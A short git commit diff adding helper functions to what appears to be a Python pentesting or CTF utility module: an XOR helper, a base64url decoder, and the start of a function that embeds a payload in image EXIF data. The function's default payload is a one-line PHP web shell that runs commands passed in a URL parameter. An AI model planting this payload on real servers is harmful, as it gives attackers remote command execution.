new functions

This commit is contained in:
2023-10-01 11:23:05 +02:00
parent b3cd20ca8b
commit b4a96e1398
5 changed files with 85 additions and 27 deletions

View File

@@ -3,6 +3,7 @@
import random
import math
import socket
import base64
import itertools
import netifaces as ni
import string
@@ -209,6 +210,9 @@ def xor(a, b):
return b"".join([bytes([c1 ^ c2]) for (c1,c2) in zip(a, b) ])
def base64urldecode(data):
return base64.urlsafe_b64decode(data + b'=' * (4 - len(data) % 4))
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
import exif